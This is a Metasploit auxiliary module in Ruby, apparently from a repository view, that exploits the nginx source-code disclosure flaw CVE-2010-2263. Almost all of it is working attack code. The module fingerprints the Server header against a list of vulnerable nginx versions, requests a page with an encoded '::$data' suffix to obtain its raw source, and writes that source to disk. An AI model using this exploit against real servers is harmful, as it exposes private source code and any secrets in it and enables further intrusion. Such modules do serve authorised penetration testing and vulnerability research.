Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
119 lines
3.0 KiB
Ruby
119 lines
3.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Nginx Source Code Disclosure/Download',
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'Version' => '$Revision$',
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'Description' => %q{
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This module exploits a source code disclosure/download vulnerability in
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versions 0.7 and 0.8 of the nginx web server. Versions 0.7.66 and 0.8.40
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correct this vulnerability.
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},
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'References' =>
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[
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[ 'CVE', '2010-2263' ],
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[ 'OSVDB', '65531' ],
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[ 'BID', '40760' ],
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[ 'EDB', '13818' ],
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[ 'EDB', '13822' ]
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],
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'Author' =>
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[
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'Alligator Security Team',
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'Tiago Ferreira <tiago.ccna[at]gmail.com>',
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],
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'License' => MSF_LICENSE)
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register_options(
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[
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OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
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OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
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], self.class)
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end
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def target_url
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"http://#{vhost}:#{rport}#{datastore['URI']}"
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end
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def run_host(ip)
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uri = datastore['URI']
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path_save = datastore['PATH_SAVE']
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vuln_versions = [
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# 0.7
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"nginx/0.7.56","nginx/0.7.58","nginx/0.7.59",
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"nginx/0.7.60","nginx/0.7.61","nginx/0.7.62",
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"nginx/0.7.63","nginx/0.7.64","nginx/0.7.65",
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# 0.8
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"nginx/0.8.33","nginx/0.8.34","nginx/0.8.35",
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"nginx/0.8.36","nginx/0.8.37","nginx/0.8.38",
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"nginx/0.8.39"
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]
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get_source = Rex::Text.uri_encode("::$data")
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begin
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res = send_request_raw(
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{
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'method' => 'GET',
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'uri' => "/#{uri}#{get_source}",
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}, 25)
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if res
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version = res.headers['Server']
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http_fingerprint({ :response => res })
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end
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if vuln_versions.include?(version)
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print_good("#{target_url} - nginx - Vulnerable version: #{version}")
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if (res and res.code == 200)
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print_good("#{target_url} - nginx - Getting the source of page #{uri}")
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save_source = File.new("#{path_save}#{uri}","w")
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save_source.puts(res.body.to_s)
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save_source.close
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print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))
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else
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print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")
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return
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end
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else
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if version =~ /nginx/
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print_error("#{target_url} - nginx - Cannot exploit: the remote server is not vulnerable - Version #{version}")
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else
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print_error("#{target_url} - nginx - Cannot exploit: the remote server is not ngnix")
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end
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return
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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end
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